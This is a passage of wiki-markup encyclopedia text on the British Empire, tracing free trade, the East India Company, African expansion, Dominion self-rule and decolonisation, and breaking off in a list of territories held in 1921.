The lesson of Britain's North American loss &amp;mdash; that trade might be profitable in the absence of [[colony|colonial]] rule &amp;mdash; contributed to the extension in the 1840s and 1850s of [[self-governing colony]] status to white settler colonies in [[Canada]] and [[Australasia]] whose British or European inhabitants were seen as outposts of the &quot;mother country&quot;. Ireland was treated differently because of its geographic proximity, and incorporated into the [[United Kingdom of Great Britain and Ireland]] in 1801; due largely to the impact of the [[Irish Rebellion of 1798]] against English rule. 

During this period, Britain also outlawed the [[slave trade]] ([[1807]]) and soon began enforcing this principle on other nations. By the mid-19th century Britain had largely eradicated the world slave trade. [[Slavery]] itself was abolished in the British colonies in 1834, though the phenomenon of [[indentured labour]] retained much of its oppressive character until 1920.

The end of the old colonial and slave systems was accompanied by the adoption of [[free trade]], culminating in the repeal of the [[Corn Laws]] and [[Navigation Acts]] in the 1840s. Free trade opened the British market to unfettered competition, stimulating reciprocal action by other countries during the middle quarters of the 19th century.

[[Image:Sadler, Battle of Waterloo.jpg|thumb|300px|right|The [[Battle of Waterloo]] marked the end of the [[Napoleonic Wars]] and the beginning of the ''[[Pax Britannica]]''.]]

Some argue that the rise of free trade merely reflected Britain's economic position and was unconnected with any true philosophical conviction. Despite the earlier loss of 13 of Britain's [[British colonisation of the Americas|North American colonies]], the final defeat in [[Europe]] of [[Napoleon I of France|Napoleonic]] [[France]] in 1815 left Britain the most successful international [[power (international)|power]]. While the [[Industrial Revolution]] at home gave her an unrivalled economic leadership, the [[Royal Navy]] dominated the seas. The distraction of rival powers by European matters enabled Britain to pursue a phase of expansion of her economic and political influence through &quot;[[informal empire]]&quot; underpinned by [[free trade]] and strategic pre-eminence.

Between the [[Congress of Vienna]] of 1815 and the [[Franco-Prussian War]] of 1870, Britain was the world's sole industrialised power, with over 30% of the global industrial output in 1870. As the &quot;workshop of the world&quot;, Britain could produce finished manufactures so efficiently and cheaply that they could undersell comparable locally produced goods in foreign markets. Given stable political conditions in particular overseas markets, Britain could prosper through free trade alone without having to resort to formal rule. The [[Americas]] in particular (especially in [[Argentina]] and the [[United States]]) were seen as being well under the informal British trade empire due to Britain's enforcement of the [[Monroe Doctrine]] keeping other European nations from establishing formal rule in the area.

==British East India Company==
''Main article: [[British East India Company]]''

The British East India Company was probably the most successful chapter in the British Empire's history as it was responsible for the colonisation of the [[Indian subcontinent]], which would become the British Empire's largest source of revenue, along with the conquest of [[Hong Kong]], [[Singapore]], [[Ceylon]], [[Malaya]] (which was also one of the largest sources of revenue) and other surrounding Asian countries, and were thus responsible for establishing Britain's Asian empire, the most important component of the British Empire.

The British East India Company originally began as a joint-stock company of traders and investors based in [[Leadenhall Street]], in the [[City of London]], which was granted a [[Royal Charter]] by [[Elizabeth I of England|Elizabeth I]] in 1600, with the intent to favour trade privileges in [[History of India|India]]. The Royal Charter effectively gave the newly created ''Honourable East India Company'' a monopoly on all trade with the [[East Indies]]. The Company transformed from a commercial trading venture to one which virtually ruled India as it acquired auxiliary governmental and military functions, along with a very large private army consisting of local Indian [[sepoys]], who were loyal to their British commanders and were probably the most important factor in Britain's Asian conquest. The British East India Company is regarded by some as the world's first [[multinational corporation]].  Its territorial holdings were subsumed by the British crown in 1858, in the aftermath of the events variously referred to as the Sepoy Rebellion or the Indian Mutiny. [http://findarticles.com/p/articles/mi_m0FQP/is_4718_133/ai_n8694155]

The Company also had interests along the routes to India from [[Great Britain]]. As early as 1620, the company attempted to lay claim to the [[Table Mountain]] region in [[South Africa]], later it occupied and ruled [[St Helena]]. The Company also established [[Hong Kong]] and [[Singapore]]; employed [[Captain Kidd]] to combat [[piracy]]; and cultivated the production of [[tea]] in [[India]]. Other notable events in the Company's history were that it held [[Napoleon]] captive on [[Saint Helena]], and made the fortune of [[Elihu Yale]]. Its products were the basis of the [[Boston Tea Party]] in [[Colonial America]].

In 1615, Sir [[Thomas Roe]] was instructed by [[James I of England|James I]] to visit the [[Mughal Empire|Mughal]] [[Mughal Emperor|Emperor]] [[Jahangir]] (who ruled over most of the [[Indian subcontinent]] at the time, along with parts of [[Afghanistan]]). The purpose of this mission was to arrange for a commercial treaty which would give the Company exclusive rights to reside and build factories in [[Surat]] and other areas. In return, the Company offered to provide to the emperor goods and rarities from the European market. This mission was highly successful and Jahangir sent a letter to the King through Sir Thomas. The British East India Company found itself completely dominant over the French, Dutch and Portuguese trading companies in the [[Indian subcontinent]] as a result. In 1634, the Mughal emperor [[Shah Jahan]] extended his hospitality to the English traders to the region of [[Bengal]], which had the world's largest textile industry at the time. In 1717, the Mughal Emperor at the time completely waived customs duties for the trade, giving the Company a decided commercial advantage in the Indian trade. With the Company's large revenues, it raised its own armed forces from the 1680s, mainly drawn from the indigenous local population, who were Indian [[sepoys]] under the command of British officers.

===Expansion===
[[Image:Clive.jpg|250px|thumb|300px|[[Robert Clive]]'s victory at the [[Battle of Plassey]] established the Company as a military as well as a commercial power.]]

The decline of the [[Mughal Empire]], which had separated into many smaller states controlled by local rulers who were often in conflict with one another, allowed the Company to expand its territories, which began in 1757, when the Company came into conflict with the [[Nawab]] of [[Bengal]], [[Siraj Ud Daulah]]. Under the leadership of [[Robert Clive]], the Company troops and their local allies defeated the Nawab on [[23 June]] [[1757]] at the [[Battle of Plassey]], mostly due to the treachery of the Nawab's former army chief [[Mir Jafar]]. This victory, which resulted in the conquest of Bengal, established the British East India Company as a military as well as a commercial power, and marked the beginning of British rule in India. The wealth gained from the Bengal treasury allowed the Company to significantly strengthen its military might and as a result, extend its territories, conquering most parts of India with the massive Indian army it had acquired.

They fought many wars with local Indian rulers during their conquest of India, the most difficult being the four [[Anglo-Mysore Wars]] (between 1766 and 1799) against the [[South India]]n [[Kingdom of Mysore]] ruled by [[Hyder Ali]], and later his son [[Tipu Sultan]] (''The Tiger of Mysore'') who developed the use of rockets in warfare. Mysore was only defeated in the [[Fourth Anglo-Mysore War]] by the combined forces of Britain and of Mysore's neighbours, for which Hyder Ali and especially Tipu Sultan are remembered in India as legendary rulers. After acquiring Mysore's rocket technology, Britain developed many rockets of its own for many wars, in which it later engaged. There were a number of other states which the Company couldn't conquer through military might, mostly in the North, where the Company's presence was ever increasing amidst the internal conflict and dubious offers of protection against one another. Coercive action, threats and diplomacy aided the Company in preventing the local rulers from putting up a united struggle against it. By the 1850s, the Company ruled over most of the Indian subcontinent and as a result, the Company began to function more as a nation and less as a trading concern.

They were also responsible for the illegal [[opium trade]] with [[China]] against the [[Qing]] Emperor's will, which later led to the two [[Opium Wars]] (between 1834 and 1860). As a result of the Company's victory in the [[First Opium War]], it established [[Hong Kong]]. The Company also had a number of wars with other surrounding Asian countries, the most difficult probably being the three [[Anglo-Afghan Wars]] (between 1839 and 1919) against [[Afghanistan]], which were mostly unsuccessful.

===Collapse===
The Company's rule effectively came to an end 100 years after its conquest since 1757, when the 1857 [[Indian Mutiny]] took place, known to many Indians as the ''First War of Independence'', which saw many of the Company's Indian [[sepoys]] begin an armed uprising against their British commanders, after a period of political unrest triggered by a number of political events. One of the major factors was the Company's introduction of the [[Pattern 1853 Enfield]] rifle. The paper cartridges containing the gunpowder were lubricated with animal fat, and had to be bitten open before the powder was poured into the muzzle. Eating cow fat was forbidden for the Hindu soldiers, while pig fat was forbidden for the Muslim soldiers. Although it insisted that neither cow fat nor pig fat was being used, the rumour persisted and many sepoys refused to follow their orders and use the weapons. Another factor was the execution of the Indian sepoy [[Mangal Pandey]] who was hanged for attacking and injuring his British superiors, possibly out of insult for the introduction of the Pattern 1853 Enfield rifle or a number of other reasons. These factors combined with a number of other reasons resulted in the Mutiny, which eventually brought about the end of the British East India Company's regime in India, and instead led to 90 years of direct rule of the Indian subcontinent by Britain, after the British East India Company was dissolved. The period of direct British rule in India is known as the [[British Raj]], when the regions now known as [[India]], [[Pakistan]], [[Bangladesh]] and [[Myanmar]] would collectively be known as [[British India]].

==Breakdown of ''Pax Britannica''==
As the first country to industrialise, Britain had been able to draw on most of the accessible world for raw materials and markets. But this situation gradually deteriorated during the 19th century as other powers began to industrialise and sought to use the state to guarantee their markets and sources of supply. By the 1870s, British manufactures in the staple industries of the Industrial Revolution were beginning to experience real competition abroad.

Industrialisation progressed rapidly in [[Germany]] and the [[United States]], allowing them to take over the &quot;old&quot; British and French economies as world leader in some areas. The German textile and metal industries, for example, had by 1870, surpassed those of Britain in organisation and technical efficiency and usurped British manufactures in the domestic market. By the turn of the century, the German metals and engineering industries would even be producing for the free trade market of the former &quot;workshop of the world&quot;.

While invisible exports (banking, insurance and shipping services) kept Britain &quot;out of the red,&quot; her share of world trade fell from a quarter in 1880 to a sixth in 1913. Britain was losing out not only in the markets of newly industrialising countries, but also against third-party competition in less-developed countries. Britain was even losing her former overwhelming dominance in trade with India, China, [[Latin America]], or the coasts of Africa.

Britain's commercial difficulties deepened with the onset of the &quot;[[Long Depression]]&quot; of 1873&amp;ndash;[[1896|96]], a prolonged period of price deflation punctuated by severe business downturns which added to pressure on governments to promote home industry, leading to the widespread abandonment of free trade among Europe's powers (in Germany from 1879 and in France from 1881).

The resulting limitation of both domestic markets and export opportunities led government and business leaders in Europe and later the US to see the solution in sheltered overseas markets united to the home country behind imperial tariff barriers: new overseas subjects would provide export markets free of foreign competition, while supplying cheap raw materials. Although she continued to adhere to free trade until 1932, Britain joined the renewed scramble for formal empire rather than allow areas under her influence to be seized by rivals.

==Britain and the New Imperialism==
''Main article: [[New Imperialism]].''
[[Image:old_disraeli.jpg|left|framed|[[Victoria of the United Kingdom|Queen Victoria]] and [[Benjamin Disraeli]].]]

The policy and ideology of European colonial expansion between the 1870s and the outbreak of [[World War I]] in 1914 are often characterised as the &quot;New Imperialism&quot;. The period is distinguished by an unprecedented pursuit of what has been termed &quot;empire for empire's sake&quot;, aggressive competition for overseas territorial acquisitions and the emergence in colonising countries of doctrines of [[race|racial]] superiority which denied the fitness of subjugated peoples for self-government.

During this period, Europe's powers added nearly 8,880,000 sq mi (23,000,000 km²) to their overseas [[colony|colonial]] possessions. As it was mostly unoccupied by the [[western civilisation|Western]] powers as late as the 1880s, [[Africa]] became the primary target of the &quot;new&quot; imperialist expansion, although conquest took place also in other areas &amp;mdash; notably [[south-east Asia]] and the [[East Asia]]n seaboard, where the [[United States]] and [[Japan]] joined the European powers' scramble for territory.

Britain's entry into the new imperial age is often dated to 1875, when the [[Conservative Party (UK)|Conservative]] government of [[Benjamin Disraeli]] bought the indebted [[Egypt]]ian ruler [[Ismail Pasha|Ismail]]'s shareholding in the [[Suez Canal]] to secure control of this strategic waterway, a channel for shipping between Britain and India since its opening six years earlier under Emperor [[Napoleon III]]. Joint Anglo-French financial control over Egypt ended in outright British occupation in 1882.

Fear of [[Russia]]'s centuries-old southward expansion was a further factor in British policy: in 1878 Britain took control of [[Cyprus]] as a base for action against a Russian attack on the [[Ottoman Empire]], after having taken part in the [[Crimean War]] [[1854]]&amp;ndash;[[1856|56]] and invading [[Afghanistan]] to forestall an increase in Russian influence there. Britain waged three bloody and unsuccessful wars in Afghanistan, as ferocious popular rebellions, invocations of [[jihad]] and inscrutable terrain frustrated British objectives.  The [[First Anglo-Afghan War]] led to one of the most disastrous defeats of the Victorian military when an entire British army was wiped out by Russian-supplied Afghan [[Pashtun]] tribesmen during the 1842 retreat from Kabul. The [[Second Anglo-Afghan War]] led to the British debacle at [[Maiwand]] in 1880, the siege of Kabul and British withdrawal into India. The [[Third Anglo-Afghan War]] of 1919 stoked a tribal uprising against the exhausted British military on the heels of World War I and expelled the British permanently from the new Afghan state. The &quot;[[Great Game]]&quot; in [[Inner Asia]] ended with a bloody British expedition against [[Tibet]] in 1903&amp;ndash;[[1904|04]].

At the same time, some powerful industrial lobbies and government leaders in Britain, later exemplified by [[Joseph Chamberlain]], came to view formal empire as necessary to arrest Britain's relative decline in world markets. During the 1890s Britain adopted the new policy wholeheartedly, quickly emerging as the front-runner in the scramble for tropical African territories.

Britain's adoption of the New Imperialism may be seen as a quest for captive markets or fields for investment of surplus capital, or as a primarily strategic or pre-emptive attempt to protect existing trade links and to prevent the absorption of overseas markets into the increasingly closed imperial trading blocs of rival powers. The failure in the 1900s of Chamberlain's [[Tariff Reform campaign]] for Imperial protection illustrates the strength of free trade feeling even in the face of loss of international market share. Historians have argued that Britain's adoption of the &quot;New imperialism&quot; was an effect of her relative decline in the world, rather than of strength.

The evolution of colonialism in India should dissuade people from sweeping generalisations and over-simplifications regarding the roles of inter-capitalist competition and accumulated surplus in precipitating the era of the New Imperialism. Formal empire in India, beginning with the Government of India Act of 1858, was a means of consolidation, reacting to the abortive [[Indian Mutiny]], which was in itself a conservative reaction among Indian traditionalists to British policy in the subcontinent.

===British Colonial Policy ===
British colonial policy was always driven to a large extent by Britain's trading interests. While settler economies developed the infrastructure to support balanced development, some tropical African territories found themselves developed only as raw-material suppliers. British policies based on comparative advantage left many developing economies dangerously reliant on a single cash crop, with others exported to Britain or to overseas British settlements. A reliance upon the manipulation of conflict between ethnic, religious and racial identities, in order to keep subject populations from uniting against the occupying power — the classic &quot;divide and rule&quot; strategy — left a legacy of partition and/or inter-communal difficulties in areas as diverse as Ireland, India, Zimbabwe, Sudan, and Uganda.

==Britain and the Scramble for Africa==
''Main article: [[Scramble for Africa]].''
[[Image:Rhodes.Africa.jpg|thumb|205px|right|[[Cecil Rhodes]] spanning &quot;Cape to Cairo&quot;.]]

In 1875 the two most important European holdings in Africa were French controlled [[Algeria]] and Britain's [[Cape Colony]]. By 1914 only [[Ethiopia]] and the republic of [[Liberia]] remained outside formal European control. The transition from an &quot;informal empire&quot; of control through economic dominance to direct control took the form of a &quot;scramble&quot; for territory by the nations of Europe. Britain tried not to play a part in this early scramble, being more of a trading empire rather than a colonial empire; however, it soon became clear it had to gain its own African empire to maintain the balance of power.

As French, [[Belgium|Belgian]] and [[Portugal|Portuguese]] activity in the lower [[Congo River]] region threatened to undermine orderly penetration of tropical Africa, the [[Berlin Conference, 1884-85|Berlin Conference]] of 1884&amp;ndash;[[1885|85]] sought to regulate the competition between the powers by defining &quot;effective occupation&quot; as the criterion for international recognition of territorial claims, a formulation which necessitated routine recourse to armed force against indigenous states and peoples.

Britain's 1882 military occupation of [[Egypt]] (itself triggered by concern over the [[Suez Canal]]) contributed to a preoccupation over securing control of the [[Nile]] valley, leading to the conquest of the neighbouring [[Sudan]] in 1896&amp;ndash;[[1898|98]] and confrontation with a French military expedition at [[Fashoda Crisis|Fashoda]] ([[September]] [[1898]]).

In 1899 Britain completed her takeover of what is today [[South Africa]]. This had begun with the annexation of the [[Cape of Good Hope|Cape]] in 1795 and continued with the conquest of the [[Boer Republics]] in the late 19th century, following the [[Second Boer War]]. [[Cecil Rhodes]] was the pioneer of British expansion north into Africa with his privately owned [[British South Africa Company]]. Rhodes expanded into the land north of South Africa and established [[Rhodesia]]. Rhodes' dream of a railway connecting [[Cape Town]] to [[Alexandria]] passing through a British Africa covering the continent is what led to his company's pressure on the government for further expansion into Africa.

British gains in southern and [[East Africa]] prompted Rhodes and [[Alfred Milner, 1st Viscount Milner|Alfred Milner]], Britain's High Commissioner in South Africa, to urge a &quot;Cape-to-[[Cairo]]&quot; empire linking by rail the strategically important Canal to the mineral-rich South, though German occupation of [[Tanganyika]] prevented its realisation until the end of [[World War I]]. In 1903, the [[All Red Line]] telegraph system communicated with the major parts of the Empire.

Paradoxically Britain, the staunch advocate of free trade, emerged in 1914 with not only the largest overseas empire thanks to her long-standing presence in India, but also the greatest gains in the &quot;scramble for Africa&quot;, reflecting her advantageous position at its inception. Between 1885 and 1914 Britain took nearly 30% of Africa's population under her control, compared to 15 % for France, 9 % for Germany, 7 % for Belgium and 1 % for [[Italy]]: [[Nigeria]] alone contributed 15 million subjects, more than in the whole of [[French West Africa]] or the entire German colonial empire.

==Home Rule in white-settler colonies==
Britain's empire had already begun its transformation into the modern [[Commonwealth of Nations|Commonwealth]] with the extension of [[Dominion]] status to the already [[self-governing colony|self-governing colonies]] of [[Canada]] ([[1867]]), [[Australia]] ([[1901]]), [[New Zealand]] ([[1907]]), [[Newfoundland and Labrador|Newfoundland]] ([[1907]]), and the newly-created [[Union of South Africa]] ([[1910]]). Leaders of the new states joined with British statesmen in periodic Colonial (from 1907, Imperial) [[Imperial Conferences|Conferences]], the first of which was held in [[London]] in 1887.

The foreign relations of the Dominions were still conducted through the Foreign Office of the [[United Kingdom]]: Canada created a Department of External Affairs in 1909, but diplomatic relations with other governments continued to be channelled through the Governors-General, Dominion High Commissioners in [[London]] (first appointed by Canada in 1880 and by Australia in 1910) and British legations abroad. Britain's declaration of war in [[World War I]] applied to all the Dominions.

But the Dominions did enjoy a substantial freedom in their adoption of foreign policy where this did not explicitly conflict with British interests: Canada's [[Liberal Party of Canada|Liberal]] government negotiated a bilateral free-trade [[Reciprocity Agreement, 1911|Reciprocity Agreement]] with the United States in 1911, but went down to defeat by the [[Progressive Conservative Party of Canada|Conservative]] opposition.

In defence, the Dominions' original treatment as part of a single Empire military and naval structure proved unsustainable as Britain faced new commitments in Europe and the challenge of an emerging German High Seas Fleet after 1900. In 1909 it was decided that the Dominions should have their own navies, reversing an 1887 agreement that the then Australasian colonies should contribute to the [[Royal Navy]] in return for the permanent stationing of a squadron in the region.

==The impact of the First World War==
[[Image:BritishEmpireWW1MemorialBrussel Copyright2004KaihsuTai.jpg|thumb|right|British Empire memorial for the First World War in the Brussels cathedral.]]

The aftermath of [[World War I]] saw the last major extension of British rule, with Britain gaining control through [[League of Nations Mandate]]s in [[British Mandate of Palestine| Palestine]] and [[Iraq]] ([[British League of Nations Trust Territory of Iraq]]) after the collapse of the [[Ottoman Empire]] in the Middle East, as well as in the former German colonies of [[Tanganyika]], South-West Africa (now [[Namibia]]) and [[New Guinea]] (the last two actually under South African and Australian rule respectively). The British zones of occupation in the German [[Rhineland]] after World War I and West Germany after World War II were not considered part of the Empire.

But although Britain emerged among the war's victors, and her rule expanded into new areas, the heavy costs of the war undermined her capacity to maintain the vast empire. The British had suffered millions of casualties and liquidated assets at an alarming rate, which led to debt accumulation, upending of capital markets and manpower deficiencies in the staffing of far-flung imperial posts in Asia and the African colonies. Nationalist sentiment grew in both old and new Imperial territories, fuelled by pride at Empire troops' participation in the war and the grievance felt by many non-white ex-servicemen at the [[racial discrimination]] they had encountered during their service to the Empire.

The 1920s saw a rapid transformation of Dominion status. Although the Dominions had had no formal voice in declaring war in 1914, each was included separately among the signatories of the 1919 peace [[Treaty of Versailles]], which had been negotiated by a British-led united Empire delegation. In 1922 Dominion reluctance to support British military action against [[Turkey]] influenced Britain's decision to seek a compromise settlement.

Full Dominion independence was formalised in the 1926 [[Balfour Declaration 1926|Balfour Declaration]] and the 1931 [[Statute of Westminster 1931|Statute of Westminster]]: each Dominion was henceforth to be equal in status to Britain herself, free of British legislative interference and autonomous in international relations. The Dominions section created within the Colonial Office in 1907 was upgraded in 1925 to a separate Dominions Office and given its own Secretary of State in 1930.

Canada led the way, becoming the first Dominion to conclude an international treaty entirely independently (1923) and obtaining the appointment (1928) of a British High Commissioner in [[Ottawa]], thereby separating the administrative and diplomatic functions of the Governor-General and ending the latter's anomalous role as the representative of the head of state and of the British Government. Canada's first permanent diplomatic mission to a foreign country opened in [[Washington, DC]] in 1927: Australia followed in 1940.

Egypt, formally independent from 1922 but bound to Britain by treaty until 1936 (and under partial occupation until 1956) similarly severed all constitutional links with Britain. [[Iraq]], which became a British Protectorate in 1922, also gained complete independence ten years later in 1932.

The last colonial expansion of the British Empire was the [[Phoenix Islands Settlement Scheme]], begun in 1938 and abandoned in 1963. The last territorial expansion of the British Empire was the annexation of [[Rockall]] to the west of the [[Outer Hebrides]] in 1955. The [[Royal Navy]] landed a party of seamen on the isle and officially claimed the rock in the name of the Queen. The action was prompted by the imminent intention of the [[Ministry of Defence (United Kingdom)|Ministry of Defence]] to test launch a nuclear missile from the Outer Hebrides. It was feared that the heretofore unclaimed island might be used by the [[Soviet Union]] as a site for surveillance equipment. In 1972 the [[Isle of Rockall Act 1972|Isle of Rockall Act]] formally incorporated the island into the United Kingdom, although this was not accepted by [[Ireland]].

===The end of British rule in Ireland===
[[Image:Warofindep.jpg|thumb|right|150px||An [[Anglo-Irish War]] memorial in [[Dublin]].]]

In the 1880s, William Gladstone's plan of Home Rule for Ireland was leaked to the public.

In 1919 Irish [[guerrilla warfare|guerrillas]], known as the [[Irish Republican Army]] under the leadership of General [[Michael Collins (Irish leader)|Michael Collins]] began a military campaign against British rule called the [[Anglo-Irish War]]. The war ended in 1921 with a stalemate that resulted in the [[Anglo-Irish Treaty]]. The treaty divided Ireland into two states, most of the island (26 counties) became the [[Irish Free State]] an independent dominion nation within the [[Commonwealth of Nations|British Commonwealth]]; while the six counties in the north with a largely loyalist, Protestant community remained a part of the [[United Kingdom]] as [[Northern Ireland]]. 

In 1948 [[Republic of Ireland|Ireland]] became a [[republic]], fully independent from the [[United Kingdom]], and withdrew from the commonwealth. Ireland's [[Irish constitution| Constitution]] claimed the six counties of [[Northern Ireland]] as a part of the [[Republic of Ireland]] until 1998. The issue over whether Northern Ireland should remain in the United Kingdom or join the Republic of Ireland has divided Northern Ireland's people and led to a long and bloody conflict known as [[the Troubles]]. 

However the [[Good Friday Agreement]] of 1998 brought about a ceasefire between most of the major organisations on both sides, creating hope for a peaceful resolution.

==Decolonisation and Decline==

[[Image:Mohandas_Gandhi_resized_for_biography.jpg|left|thumb|100px|[[Mahatma Gandhi]], one of the leaders of the [[Indian independence movement]].]]

The rise of anti-colonial [[nationalism|nationalist]] movements in the subject territories and the changing economic situation of the world in the first half of the [[20th century]] challenged an imperial power now increasingly preoccupied with issues nearer home. The Empire's end began with the onset of the Second World War, when a deal was reached between the British government and the [[Indian independence]] movement, whereby the Indians would co-operate and remain loyal during the war, after which they would be granted independence. Following India's lead, nearly all of Britain's other colonies would become independent over the next two decades.

The end of Empire gathered pace after Britain's efforts during [[World War II]] left the country all but exhausted and found its former allies disinclined to support the colonial ''status quo''. Economic crisis in 1947 made many realise that the [[The Labour Party (UK)|Labour]] government of [[Clement Attlee]] should abandon Britain's attempt to retain all of its overseas territories. The Empire was increasingly regarded as an unnecessary drain on public finances by politicians and civil servants, if not the general public.

Britain's declaration of hostilities against Germany in September 1939 did not automatically commit the Dominions. All the Dominions except Australia and Ireland issued their own declarations of war. The Irish Free State had negotiated the removal of the [[Royal Navy]] from the [[Treaty Ports]] the year before, and chose to remain [[Irish neutrality|legally neutral]] throughout [[The Emergency|the war]]. Australia went to war under the British declaration.

World War II fatally undermined Britain's already weakened commercial and financial leadership and heightened the importance of the Dominions and the [[United States]] as a source of military assistance. Australian prime minister [[John Curtin]]'s unprecedented action (1942) in successfully demanding the recall for home service of Australian troops earmarked for the defence of British-held [[Myanmar|Burma]] demonstrated that Dominion governments could no longer be expected to subordinate their own national interests to British strategic perspectives. Curtin had written in a national newspaper the year before that Australia should look to the United States for protection, rather than Britain.

After the war, Australia and New Zealand joined with the United States in the [[ANZUS]] regional security treaty in 1951 (although the US repudiated its commitments to New Zealand following a 1985 dispute over port access for nuclear vessels). Britain's pursuit (from 1961) and attainment (1973) of [[European Community]] membership weakened the old commercial ties to the Dominions, ending their privileged access to the UK market.

In the Caribbean, Africa, Asia and the Pacific, post-war decolonisation was accomplished with almost unseemly haste in the face of increasingly powerful (and sometimes mutually conflicting) nationalist movements, with Britain rarely fighting to retain any territory. Britain's limitations were exposed to a humiliating degree by the [[Suez Crisis]] of 1956 in which the [[United States]] opposed Anglo-French intervention in Egypt, seeing it as a doomed adventure likely to jeopardise American interests in the [[Middle East]].

The independence of [[India]] in 1947 ended a 40-year struggle by the [[Indian National Congress]], firstly for self-government and later for full sovereignty, though the land's partition into India and [[Pakistan]] entailed violence costing hundreds of thousands of lives. The acceptance by Britain, and the other Dominions, of India's adoption of republican status (1949) is now taken as the start of the modern Commonwealth.

[[Singapore]] became independent in two stages. The British did not believe that Singapore would be large enough to defend itself against others alone. Therefore, Singapore was joined with [[Malaya]], [[Sarawak]] and [[North Borneo]] to form [[Malaysia]] upon independence from the Empire. This short-lived union was dissolved in 1965 when Singapore left [[Malaysia]] and achieved complete independence.

[[Myanmar|Burma]] achieved independence (1948) outside the Commonwealth; Burma being the first colony to sever all ties with the British; [[Ceylon]] (1948) and [[Malaya]] (1957) within it. Britain's [[British Mandate of Palestine|Palestine]] Mandate ended (1948) in withdrawal and open warfare between the territory's [[Jew]]ish and [[Arab]] populations. In the Mediterranean, a guerrilla war waged by [[Greek Cypriot]] advocates of [[enosis|union]] with [[Greece]] ended (1960) in an independent [[Cyprus]], although Britain did retain two military bases - [[Akrotiri and Dhekelia]].

[[Image:Insight may03 focus beaton large.jpg|thumb|right|200px|The reign of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], the current Queen, has seen the gradual dismantling of the Empire]]

The end of Britain's Empire in Africa came with exceptional rapidity, often leaving the newly-independent states ill-equipped to deal with the challenges of sovereignty: [[Ghana]]'s independence (1957) after a ten-year nationalist political campaign was followed by that of [[Nigeria]] ([[1960]]), [[Sierra Leone]] and [[Tanganyika]] ([[1961]]), [[Uganda]] ([[1962]]), [[Kenya]] and [[Zanzibar]] ([[1963]]), [[The Gambia]] ([[1965]]), [[Botswana]] (formerly Bechuanaland) and [[Lesotho]] (formerly Basutoland) (1966) and [[Swaziland]] ([[1968]]).

British withdrawal from the southern and eastern parts of Africa was complicated by the region's white settler populations: Kenya had already provided an example in the [[Mau Mau Uprising]] of violent conflict exacerbated by white landownership and reluctance to concede majority rule. White minority rule in [[South Africa]] remained a source of bitterness within the Commonwealth until the ending of [[apartheid]] policy in 1994.

Although the white-dominated [[Federation of Rhodesia and Nyasaland]] ended in the independence of [[Malawi]] (formerly [[Nyasaland]]) and [[Zambia]] (the former Northern Rhodesia) in 1964, Southern Rhodesia's white minority (a [[self-governing colony]] since 1923) declared independence with their [[Unilateral Declaration of Independence (Rhodesia)|UDI]] rather than submit to equality with [[Black African|black Africans]]. The support of South Africa's apartheid government kept the Rhodesian regime in place until 1979, when agreement was reached on majority rule in an independent [[Zimbabwe]].

Most of Britain's Caribbean territories opted for eventual separate independence after the failure of the [[West Indies Federation]] ([[1958]]&amp;ndash;[[1962|62]]): [[Jamaica]] and [[Trinidad and Tobago]] (1962) were followed into statehood by [[Barbados]] ([[1966]]) and the smaller islands of the eastern Caribbean (1970s and 1980s). Britain's Pacific dependencies underwent a similar process of decolonisation in the latter decades. At the end of Britain's 99-year lease of the mainland [[New Territories]], all of [[Hong Kong]] was returned to China in 1997.

{{cleanup-date|February 2006}}

==Extent==
[[Image:BritishEmpire1919.PNG|thumb|300px|The British Empire at its zenith in 1919.]]

At what is usually considered its height in 1921, the British Empire consisted of the following territories:

===Africa===
*[[Basutoland]] (now [[Lesotho]])
*[[Bechuanaland]] (now [[Botswana]]) (divided, one part colony and another part a British protectorate)
*[[British Togoland]] (now part of [[Ghana]])
*[[Gambia]]
*[[Gold Coast (British colony)|Gold Coast]] (now [[Ghana]])
*[[Egypt]] (as a state under British protectorate)
*[[Kenya]] (most parts colony, the coast area protectorate)
*[[Mauritius]]
*[[Nigeria]]
*[[Cameroons|Northern Cameroons]] (now part of [[Nigeria]])
*[[Northern Rhodesia]] (now [[Zambia]])
*[[Nyasaland]] (now [[Malawi]])
*[[Sierra Leone]]
*[[Somaliland]]
*[[Republic of South Africa|South Africa]]
*[[Cameroons|Southern Cameroons]] (now part of [[Cameroon]], being 9% of the territory of Cameroon)
*[[Southern Rhodesia]] (now [[Zimbabwe]])
*[[South West Africa]] (now [[Namibia]])
*[[Swaziland]] (as a state under British protectorate)
*[[Sudan]]
*[[Tanganyika]] (now [[Tanzania]]) 
*[[Uganda]]
*[[Zanzibar]] (now [[Tanzania]]) (as a state under British protectorate)

===The Americas and Atlantic===
*[[Ascension Island]]
*[[British Guiana]] (now [[Guyana]])
*[[British Honduras]] (now [[Belize]])
*[[Canada]]
*[[Falkland Islands]] 
*[[Newfoundland and Labrador|Newfoundland]] (now a province of [[Canada]])
*[[British West Indies|West Indies]]
**[[Anguilla]]
**[[Antigua and Barbuda]]
**[[Bahamas]]
**[[Barbados]]
**[[Bermuda]]
**[[British Virgin Islands]]
**[[Cayman Islands]]
**[[Dominica]]
**[[Grenada]]
**[[Jamaica]]
**[[Montserrat]]
**[[Saint Kitts and Nevis]]
**[[Saint Lucia]]
**[[Saint Vincent and the Grenadines]]
**[[Trinidad and Tobago]]
**[[Turks and Caicos Islands]]
*[[Saint Helena (Britain)|St Helena]]
*[[Tristan da Cunha]]
*[[South Georgia]] (also claimed by Argentina)

===Antarctica===
*[[British Antarctic Territory]] (under Antarctic Treaty overlaps Argentine and Chilean claim)

===Asia===
*[[Aden (colony)|Aden Colony]] (now part of [[Yemen]])
*[[Aden Protectorate]] (states under British protection; now part of Yemen)
*[[Bahrain]]
*[[Bhutan]]
*[[British Raj|British India]] (now [[India]], [[Pakistan]] and [[Bangladesh]])
*[[British Mandate of Palestine]] (now [[Israel]] (excluding the [[Golan Heights]]), the [[Gaza Strip]] and the [[West Bank]])
*[[Brunei]] (British protectorate) 
*[[Burma]] (now [[Myanmar]])
*[[Ceylon]] (now [[Sri Lanka]])
*[[Hong Kong]] (now a [[Special Administrative Region]] of the [[People's Republic of China]] after ceded by China in 1841,1860 and leased in 1898)
*[[Iraq]]
*[[Kuwait]]
*[[Malaya]] (now [[Peninsular Malaysia]], part of [[Malaysia]])
*[[Maldives]]
*[[North Borneo]] (now [[Sabah]], part of Malaysia)
*[[Muscat and Oman]] (now [[Oman]])
*[[Qatar]]
*[[Sarawak]] (now part of Malaysia)
*[[Sikkim]] (now part of India)
